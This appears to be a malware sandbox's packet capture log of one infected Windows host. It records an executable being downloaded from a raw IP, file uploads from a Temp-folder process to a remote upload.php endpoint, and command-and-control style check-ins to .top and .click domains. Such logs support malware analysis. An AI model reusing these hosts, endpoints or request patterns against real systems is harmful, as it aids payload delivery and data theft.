Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:11:11.937459946 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:11:13.262650013 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:11:13 GMT Content-Type: application/octet-stream Content-Length: 4442112 Last-Modified: Thu, 19 Dec 2024 13:07:25 GMT Connection: keep-alive ETag: "67641a8d-43c800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 50 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 b5 00 00 04 00 00 dc 32 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3a b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 39 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PPD@2D@ _asa:9 pa>(@.rsrcaN(@.idata aP(@ P8aR(@pggsbtrmPNT(@umcppckl@C@.taggant0P"C@
Dec 19, 2024 14:11:13.262682915 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:11:13.262733936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:11:13.262754917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:11:13.262773991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 14:11:13.262948990 CET	1236	IN	Data Raw: 33 19 c1 65 5d 6b 8d b4 45 45 b8 11 af bc 9f ca e9 94 3f 19 c3 05 32 07 69 a4 e2 81 50 ca f8 d8 3c 3a 9e 09 91 cd 7e 2b 65 f5 47 9e aa b2 d0 96 e3 eb 40 d9 51 4a 2b a3 b3 cf 4f 89 8e c9 ce 59 0e ad 18 f6 21 3d 7d 3c 49 11 15 e3 81 ac 3f f6 ab 4f Data Ascii: 3e]kEE?2iP<:~+eG@QJ+OY!=}<I?OQo7w{l qssCbmK_*~Tr\gWNT_7-pn;4F)bfk%IE?sKi)<J`5nMCL1^Izp!,r!16dKn
Dec 19, 2024 14:11:13.262963057 CET	1236	IN	Data Raw: 75 71 bc 1e 29 4d 38 ab 63 fd 0d 97 60 52 3b e3 0b 5a ca 2d 0f 6c b2 10 61 46 34 83 29 ba 58 71 f2 1e f7 b1 92 77 47 f7 ca 75 94 b9 40 3b ff b1 02 f9 7d 81 d9 9b 6f 4b 47 ad 7a ca f4 4d b0 e2 c4 5a 5a 66 1e 8f da 17 b5 ed 3c bb ab 2e 36 87 5a 86 Data Ascii: uq)M8c`R;Z-laF4)XqwGu@;}oKGzMZZf<.6Z$>K`Ccnp6u,!cw{FsPH2Njc/5rMkUH4%^u4%kNXeX:g!UZ<Y\|j/?03:r_i
Dec 19, 2024 14:11:13.262976885 CET	1120	IN	Data Raw: a4 99 98 10 1d 83 68 b9 44 c9 ca ea 2b c0 38 c0 15 c9 33 c4 9c b4 61 b6 f9 2c 40 bb 15 bd b9 dd 0e da 55 1d 1a 8a dd dc 96 ab b2 6f ff a6 c7 e0 3c 41 c4 65 b5 5c 5d a2 dc ed 43 80 83 5e 83 12 8e 74 cb 4c e4 41 47 13 a4 c1 f1 e5 1c 7b 7d ab fa fb Data Ascii: hD+83a,@Uo<Ae\]C^tLAG{}dqzg3dEMb9+:jiFpy{o!t)D.i-#0Km4x_AZjr[(lQ<pp,rf*cSf=\R~\uh`q7_}
Dec 19, 2024 14:11:13.263108969 CET	1236	IN	Data Raw: 8b 08 ab b9 da fb 48 47 7b 9f 59 83 d8 f1 cf 90 ac 7a 30 d8 bb fb e2 3c 25 6c 94 e0 75 b9 1f 76 d7 4a f4 14 2d 79 60 ef 64 04 db 56 3e 7a e1 ad 7f 0b ce 49 bd 85 b2 5e c3 f4 22 bc c8 5c b5 23 d8 16 7f 34 ed ef d3 ec f1 00 5a 2c 3e e2 8d ac ec 38 Data Ascii: HG{Yz0<%luvJ-y`dV>zI^"\#4Z,>8dN&1NI7\|m^\|08[@$^II?kNR,I\|{O$Yk]l^8Y'%&LL%gU7U8+zzwz.w~F@j_h=;?K
Dec 19, 2024 14:11:13.263132095 CET	1236	IN	Data Raw: b7 16 b5 9b 66 8d 7f d4 64 3e 6b 23 65 7d 3b 29 9f 5d 29 e6 6a 4b 40 4a e6 df 60 3c 44 7c 14 a5 03 a3 3c 57 fc 63 47 ea 5c 6c 6a 83 30 84 00 ca 48 67 6c a8 12 da a8 5f 6d b4 e2 e4 6e f2 1c c4 02 1c 4a 93 80 85 52 83 d1 74 c7 c4 54 15 61 a5 46 58 Data Ascii: fd>k#e};)])jK@J`<D\|<WcG\lj0Hgl_mnJRtTaFXkDWzeiP\Q+}?bJpRrIG^q\|#p~$(%(?ih4#)z=UN_'J@ zRcAjnA<$'.CpTKtGUx
Dec 19, 2024 14:11:13.382482052 CET	1236	IN	Data Raw: 20 6e 44 bb 51 cd 4c 36 3c 6e 05 9d 45 14 3b b8 3f a3 df 0f 99 49 77 60 7d c3 6b 8c 63 11 68 e7 a9 2e a3 51 3a 0d b2 88 75 11 2c e2 d5 14 8b 8b f8 39 c5 fc 53 51 9f be 81 de 37 3e 29 15 5f 34 a4 f6 bf 88 81 fa 9c fa 14 14 0f 1f 31 ca e0 09 05 db Data Ascii: nDQL6<nE;?Iw`}kch.Q:u,9SQ7>)_417VLFn}_+/kK$eD*oDD\|hQy']yK%!Swx'0a`,i me_T]}CmD^1%4R-_vZ^ZXY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49936	176.53.146.212	80	7232	C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:11:14.540812969 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5vt.top Accept: / Content-Length: 63431 Content-Type: multipart/form-data; boundary=------------------------njp0kI44f2vexJ8rsUGMN5 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6e 6a 70 30 6b 49 34 34 66 32 76 65 78 4a 38 72 73 55 47 4d 4e 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 69 78 6f 67 6f 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 41 ce 19 9b ab 56 cf 42 81 b9 8f 83 5e ee ae d3 c3 b6 23 a9 ac 2d 41 63 f8 3e 68 07 48 ad ae c0 32 e5 4c 8a 1e 83 10 6b a7 c6 5e 8d 53 55 91 e1 64 94 9c 28 d0 40 eb 17 27 f0 86 cd 13 ad c4 73 77 45 30 49 d0 8d dd a0 7b bb 09 8a de b3 25 a9 a8 2b 7c 47 d6 e5 20 7e e8 36 40 a1 27 cc ed 9f a8 8d 17 0a b8 86 de bc ac ae 08 ea c5 69 ef f1 0c 75 9b f7 24 17 e7 df ba 91 86 f1 82 b7 1e dc b3 c7 92 ee b7 de f9 7e a6 1a 61 d3 4d 85 b7 90 5f ae 89 16 b8 37 f5 28 3d 8f 3b 3a 75 45 12 05 6e 10 8c 9a 2c 63 ae bb b8 c1 2b cf 50 dd c7 d7 39 [TRUNCATED] Data Ascii: --------------------------njp0kI44f2vexJ8rsUGMN5Content-Disposition: form-data; name="file"; filename="Mixogoc.bin"Content-Type: application/octet-streamAVB^#-Ac>hH2Lk^SUd(@'swE0I{%+\|G ~6@'iu$~aM_7(=;:uEn,c+P9[_s_&D@xZ3j$?~"'0}fF"L=olqv6\|hJ.,!=B+@"u0{'%J%E=GUy>TSE8`#U&AnoBhqGKd>lE#M\QTULLOV&'o)oc21]}(pML,#{^;Ty$7tan/~fj\|o^./C_;xNz$\~?"v\|dr-pJnmY2MMDWyZ:av_>gOU2M5>6M@ts]#2#Vr:FX($NM<l_E[:bA#@FRNtalqwU4@eX!~j`\@a 9l68=yWju'yuPaZ;!-R,\2~J@#[{}6{j0>vN12$\BFt_] [TRUNCATED]
Dec 19, 2024 14:11:14.661647081 CET	4944	OUT	Data Raw: 01 5e bd 52 99 be fa c8 75 dc 58 03 e6 d4 ec e0 77 ff 7a 39 7f 7a 97 e5 d2 dc fd b7 f5 49 01 1c ab bb cc 01 7f f0 ae 8a c2 e6 db 7e aa 3d 7e 33 c2 69 da ed 9d 07 65 2d b6 75 34 f7 f5 84 b8 bd 49 5d 56 dd db 44 29 c4 57 68 4b 51 4b e8 0d 69 d8 6c Data Ascii: ^RuXwz9zI~=~3ie-u4I]VD)WhKQKilf00IO$IVQ`bCA "9y,(Nps AD9}8&lwx-)XSW8!(-`DYNuup#n@r{kMsGe
Dec 19, 2024 14:11:14.661720037 CET	2472	OUT	Data Raw: af 16 d7 81 ad 9f 23 0c 47 a9 1f aa 52 e0 b0 50 ea 0c de fd d0 1e ec fb a5 ed 52 92 4c 97 2d e6 86 0e 57 46 09 45 61 8e 75 a4 4f 8c 3c 4a 49 4a 41 75 e6 73 d7 8f 28 a9 da 8e f6 8a 44 65 9d 20 67 3f 5f 9f 5e 03 89 43 04 17 b9 b5 4a 38 a5 0c c6 7a Data Ascii: #GRPRL-WFEauO<JIJAus(De g?_^CJ8zUA -pt^ UQsQ-E8=a*K"~J$x"['.tbAvA&m_Q`IBd(;0}&b#!ssAK7Og6O>-K{CucE4ui
Dec 19, 2024 14:11:14.661775112 CET	4944	OUT	Data Raw: 4a f9 d1 90 34 9e 49 29 b0 6e c2 47 06 f2 5d 27 e4 aa ee 83 97 71 13 49 24 53 4c 07 08 0e a9 9d f3 c1 0c e1 3e 7e 0a 50 e6 e6 bc 65 43 6b 35 6f b9 6a 2c 86 fe 98 1d 9e f2 b1 56 eb 4b 56 99 de db 17 29 41 33 96 78 3b 1f 0e 89 75 4b 8c d2 30 fc a5 Data Ascii: J4I)nG]'qI$SL>~PeCk5oj,VKV)A3x;uK0j(]&M<ioZ+[;}?s22]~r^)ym(fWnX\|5N",N4$Qh8_6 z0t1G[rh<-3_n^B+VIKF
Dec 19, 2024 14:11:14.661981106 CET	4944	OUT	Data Raw: 28 74 90 1f 16 cf 40 34 08 d6 e6 e2 ab a5 e0 66 b3 bc b0 9d 36 73 65 8a e3 2f 64 d7 a6 aa 28 71 19 a4 8e 9b 40 b8 97 79 cf 46 33 b8 90 e0 9a 4a 8e f7 dd c7 9e ae f5 60 e7 84 0c 30 e4 8f 23 88 da 1f 7f d9 9a d8 36 7d c7 14 4d fe a0 26 bb 77 8f 83 Data Ascii: (t@4f6se/d(q@yF3J`0#6}M&w" 3G5YF;.5\|Ws+`4kGFz0n2d6Or&\|?N7sGr5%9cS0Ke.%4*
Dec 19, 2024 14:11:14.662055016 CET	4944	OUT	Data Raw: 32 73 67 c6 d1 cd 83 9d b2 ea 80 a8 eb b6 e6 67 d6 7a d4 37 81 9a f4 f0 b6 53 f4 4a 7f cb a5 81 5f f0 fa fd f9 3b e5 ce f5 fc 83 21 78 eb 4c b9 f2 a2 c3 97 d6 36 06 3e fb 73 c6 2f fd c4 d7 a7 5e e5 38 8f b8 24 1d 06 c7 a6 d9 b1 d4 65 42 5e dc 8b Data Ascii: 2sggz7SJ_;!xL6>s/^8$eB^tp`wek4MZX_XluU_`O0hW`LB 9VfCzakT;"#dFU?e~qdkb<K#LDh%jn]Q3z7bH+dN-
Dec 19, 2024 14:11:14.662113905 CET	2472	OUT	Data Raw: e7 df 3a fd 04 e2 2a b6 0d fe 6b 15 b8 b1 0e 3a 6a 74 cd 15 34 01 df 64 68 ca d4 7f 71 1e a3 f6 a3 c7 06 c2 f0 1c b0 9a 2a 54 f9 21 53 d1 d6 29 1c f3 10 57 8f ed b3 af 90 24 09 16 89 62 f8 65 f9 7a 76 32 f3 65 cd 84 22 61 29 f2 f8 54 23 04 8e 27 Data Ascii: :k:jt4dhqT!S)W$bezv2e"a)T#'%7c__}n+oj2QK<$VP<=XX.e=Rx4vhTet:0'P^}n>OCs8F:
Dec 19, 2024 14:11:14.781405926 CET	7416	OUT	Data Raw: ba ac aa 59 7e ef 01 70 8b 2c 85 d7 a4 5c 83 f7 a6 87 ff 04 3e e6 0e ca fb cf 48 77 53 d1 da a0 74 b9 58 10 9f 58 67 e7 6a a8 8b 8e b2 55 9e eb 97 af a6 d9 aa c4 65 98 88 88 8f 54 9a f7 ee d3 1b 9f 92 c7 4d 59 1b fb af 0d bf 56 81 f2 69 9c 10 d2 Data Ascii: Y~p,\>HwStXXgjUeTMYVihCsB172/?SJRb'C0xAERa(c0&w+gru_Uh#Z8av!HlHlBe9&d)qxRx
Dec 19, 2024 14:11:14.781480074 CET	4944	OUT	Data Raw: 70 6a 9d fa 25 44 81 bf ad 8c 1d eb a9 cb 74 63 34 9d b8 24 48 e8 10 78 f0 ef 6b 4f c8 5c c3 c5 cf 7d d0 cd 90 35 8f c2 ad df 2f 96 d0 39 52 1a 4e 50 55 89 55 bd fe a7 62 40 49 f3 9e d9 10 c7 32 83 83 57 ed 6f 9c e9 e8 4f c7 b8 c4 a6 b5 0b 81 6e Data Ascii: pj%Dtc4$HxkO\}5/9RNPUUb@I2WoOn11h%]t/;Yw\aUXz[p`E$:qiKBf#uFtLbF"!m-f04V:n>U]oF?5./.)X^]^t kVjK
Dec 19, 2024 14:11:14.783381939 CET	2472	OUT	Data Raw: 92 a8 f0 89 f2 18 e8 e2 ff 1b bd d2 42 4f 5e 0d 53 02 c9 f0 ad 1b eb 59 14 7e 5f 3a 28 b5 60 1e 40 c3 ef ba 0f 45 5d 32 5d da 18 42 d9 30 95 1d c2 f4 68 e4 f9 f3 90 e7 96 c4 7b aa b4 d3 38 76 ad d4 31 d9 6c 2b ad 28 46 07 be b3 2a 17 5e 45 46 cc Data Ascii: BO^SY~_:(`@E]2]B0h{8v1l+(F*^EF1E!@U?jS7WfT2tn1Q-x7;P=;7\d%@$<%hNtJ>$aLMH3cM~NP:Gv8G}af=:o^YE< Q}}\|!F
Dec 19, 2024 14:11:14.827176094 CET	11700	OUT	Data Raw: 1c 9c 49 3c ba d0 5a aa 3c 02 5d de 33 2d 83 a7 33 5f 08 c1 11 de 90 42 5a 75 e8 60 59 7d 06 52 29 45 ca 01 f6 07 9c 10 45 6e 0c 64 e1 de c4 c5 2d 7b 5e 9b 3c 51 23 08 93 8a a6 83 71 9a 34 33 d0 f6 ff fe 70 bd ef 9c 27 68 b7 59 0e 55 52 96 25 55 Data Ascii: I<Z<]3-3_BZu`Y}R)EEnd-{^<Q#q43p'hYUR%U 0(o)+a#967dPShCUIrtgP5Y#2Vp9N?I$:]aUB(F:c'nD `4pk.I
Dec 19, 2024 14:11:16.320450068 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Thu, 19 Dec 2024 13:11:16 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1734615673 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49965	176.53.146.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:11:22.783376932 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5vt.top Accept: / Content-Length: 27817 Content-Type: multipart/form-data; boundary=------------------------IQcRWgDvGOOy0z1mHIdHyl Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 49 51 63 52 57 67 44 76 47 4f 4f 79 30 7a 31 6d 48 49 64 48 79 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 70 75 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 61 fc c9 54 8c cc 43 27 a0 ed b9 3d 14 63 b3 78 59 4f 33 cf 7c ba c4 bf 8a 2e 1b ec 0d 18 a6 4f 8e f0 86 32 5b fa 6f 6c 45 66 52 ee b6 25 f1 52 46 2c 81 a9 27 f8 0b 16 3f 83 0b 9f 41 e4 a0 ba c3 b3 73 9a 5d ed d0 2b c2 c3 c8 2e 7b ba 91 41 09 06 5f 90 65 af ca 05 92 2b 21 95 8f 7c d8 93 8a 18 96 c3 7e ec 0d 7d 39 58 5f a3 9a cf 64 d7 0a 50 f3 d8 5f d3 ce 15 f4 e0 87 6b 4c 88 ff c6 b6 e6 29 72 39 bd 3a c2 3c df 27 2a 3b 36 cf 0f 57 c7 dc 8c e9 0b f6 7e 39 ea 28 05 dd 22 ce 9a 92 6a 1f 07 45 41 73 85 c0 76 50 ae 50 79 78 [TRUNCATED] Data Ascii: --------------------------IQcRWgDvGOOy0z1mHIdHylContent-Disposition: form-data; name="file"; filename="Zanadepux.bin"Content-Type: application/octet-streamaTC'=cxYO3\|.O2[olEfR%RF,'?As]+.{A_e+!\|~}9X_dP_kL)r9:<';6W~9("jEAsvPPyxhsb{(\|jL33hd\|{y=q<UcNxY0D9{w]3%,^ 3}HBW6D8-{Hem(7_O=3&;w!5";d@/]NaWS>6,BQVaC@Q\LMLH/s0wZC;,QtAC7~`(;,=i78<'neN%rP,$Nz\iKQzO\~woWgrTwb';k'x=UExOd2<ul,r Pkc}=ZBc$mKb4R_XE~P Ohe@98\~C7!q}xL}[&v\@<*OTCZ,SfQ<0M-iA7;#/wOe0{M5s)7Fbs:z4{,AX'\}I4bwz;UHJH$#D5G\E`mmN7b]y]H [TRUNCATED]
Dec 19, 2024 14:11:22.903104067 CET	2472	OUT	Data Raw: 25 4c 52 78 3e cc 38 24 16 02 e8 34 e3 6e f0 22 9f 20 89 15 76 18 da 77 10 e4 f0 de 48 d7 8c dc 76 b6 ea 08 16 fc a5 4d d7 0c 9d a0 44 67 53 ee 4f bc c7 35 20 7a 44 5c 0d c0 c0 2a 05 eb 52 42 e0 da 8e 75 05 dc 79 e3 d3 d9 2c df f8 76 e4 da bb cf Data Ascii: %LRx>8$4n" vwHvMDgSO5 zD\*RBuy,v?m:;4mkyq)YLC7b<:f,sklhZsGv_n}+HuF_A!z!Ny$F%})+X2 ?]Ps[X1rT1sdqB/Q1
Dec 19, 2024 14:11:22.903156042 CET	2472	OUT	Data Raw: 46 36 f9 91 6a 11 69 0c ff 7d 1c fb b7 d8 e3 da 13 e5 06 af 6c 0f 3f 95 c8 73 24 8b b4 8c e7 20 e6 53 7b 9d 0f 69 fd 10 31 de a2 cc ce 3a 0e 5c 49 95 97 b2 fa b6 c5 86 a2 90 f8 90 5f 4c 15 58 ea b9 7e 8e eb 45 7f 69 07 4a 40 a5 13 f1 c6 eb fe 16 Data Ascii: F6ji}l?s$ S{i1:\I_LX~EiJ@v(3=z"emfOXZlFyi\&bp@F,TFm2*5V7Q"`(s51N}/N!g4-:.SY>?qT2>5mc
Dec 19, 2024 14:11:22.903284073 CET	2472	OUT	Data Raw: d9 cb 0c 1d 2a 3f a8 b2 b5 92 1d 28 2d 5e 27 e4 f0 78 9e a1 1f 6b aa b9 5e 05 88 1b 37 65 71 56 fa fa f5 bc 97 03 cb 9d 5f da bd b7 cb 50 fa af 2e 8b cc 4c 24 2a 5e f1 82 23 e1 3a bb 3c 11 8e 97 86 73 af 1e fd fb 44 ab 3a 04 9c 05 fb 38 b7 34 fa Data Ascii: ?(-^'xk^7eqV_P.L$^#:<sD:84+Yq7%M5Dz`!`nH_B6%nNh>fnt!ik,y-j]#O<<?kEgBwz__UY%&D;~w6DF^")
Dec 19, 2024 14:11:22.903346062 CET	2472	OUT	Data Raw: 79 a8 cd 9d 0e 1e 46 f9 6a af 48 14 6d cc ff 0a a6 38 e6 8f 53 3d 42 2e 9e 29 19 0d e3 b4 3d fd 70 b2 3f 8f e2 a3 03 d6 5f 3e 49 a6 ca c2 84 dd c4 6e e9 d1 eb 13 ee 28 d8 0c 90 84 f3 50 ee a3 17 3e 62 b8 76 01 33 c2 c1 06 4d f7 b5 9e 83 48 34 17 Data Ascii: yFjHm8S=B.)=p?_>In(P>bv3MH4lntVwHi`BVqud^L3MMq=EF-OFjrb5LZltv^+RE!ARE1RZUJ0hPLTbY%]M2_9<
Dec 19, 2024 14:11:22.903364897 CET	2472	OUT	Data Raw: 69 15 a3 67 45 85 87 9a 10 16 72 bd ea 39 ed 51 44 25 ad f7 5a 46 d3 dd e7 c9 90 a2 c9 d8 8d 40 93 06 30 8a 08 19 e1 6b 8f 2d a3 5c 13 7f 2e a1 c6 4a c6 fa eb 74 7b 3f be 88 b1 6c 6b 53 4e 49 b8 60 cd ef 09 2d 96 ea f4 97 7f 41 98 41 26 55 d6 38 Data Ascii: igEr9QD%ZF@0k-\.Jt{?lkSNI`-AA&U8NU"UmJdb$J6%.2Pw>oN_$IDnY\|w+e;YSqbqtJ%\xPhtV{/,)J7q44Qi^c@\>
Dec 19, 2024 14:11:22.903613091 CET	2472	OUT	Data Raw: 95 c7 b8 b8 b4 19 57 39 08 1d a8 e5 cb cd a4 53 79 59 f7 a2 1f cd b1 a0 fb f4 d0 be 3e 7a 54 dd 6e 07 d1 7a 55 18 43 20 84 af bd 58 f7 4e 92 1d f5 fe 8f ab f6 d0 1e 4b 13 13 ca 20 c4 93 8f 1f 33 15 84 53 92 b9 43 65 35 6b d3 92 34 f9 42 e1 bc 72 Data Ascii: W9SyY>zTnzUC XNK 3SCe5k4Br:PX[SO+%S,J+CJtbz0}8,Oh<yKaD+TgKM__"4A7C*w19/<8z)62n G<y2i
Dec 19, 2024 14:11:22.903613091 CET	806	OUT	Data Raw: b2 95 6c d7 b5 ad 2a 7d ea 92 6e 17 96 65 14 29 69 c2 47 54 5a 87 ec 7f 88 53 e3 54 f1 5d db da ce ff 1a ca d1 d2 d8 e2 66 4a e1 0b b0 2b 32 a0 19 bd 18 76 77 41 41 3e 0f 4f 2b 45 89 93 dc f8 f4 61 ee 96 d0 8d 6a 8d 70 4b de f6 48 47 84 24 57 e8 Data Ascii: l*}ne)iGTZST]fJ+2vwAA>O+EajpKHG$WE%6'v)w#,@U;:1/xL}1SaB&IKN&EeI!S-t{znK>nGV0OeCBq&!"%%
Dec 19, 2024 14:11:24.455393076 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Thu, 19 Dec 2024 13:11:24 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1734615673 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49973	176.53.146.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:11:25.738358974 CET	196	OUT	POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1 Host: home.fivetk5vt.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 76 79 74 35 57 49 46 44 6d 6b 31 4b 37 67 6d 38 31 37 33 34 36 31 33 38 34 34 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "vyt5WIFDmk1K7gm81734613844", "data": "Done2" }
Dec 19, 2024 14:11:27.801409006 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 13:11:27 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49794	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cheapptaxysu.click
2024-12-19 13:10:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 13:10:26 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Thu, 19 Dec 2024 13:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LbDfkKzj2HjuCVfv8IcTj%2B5%2F4covOXOjkeR0neSKOcMwr2pUMDlIVBaWEfYmTaGPYMCFfyqOPAcmc3%2B9w5zP3zLQIvF73IJay4bfwIRRWS7aw9%2FDJ16FoNvKvG8yx0CmlyKvxT8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a1fc9ac13308-EWR
2024-12-19 13:10:26 UTC	809	IN	Data Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
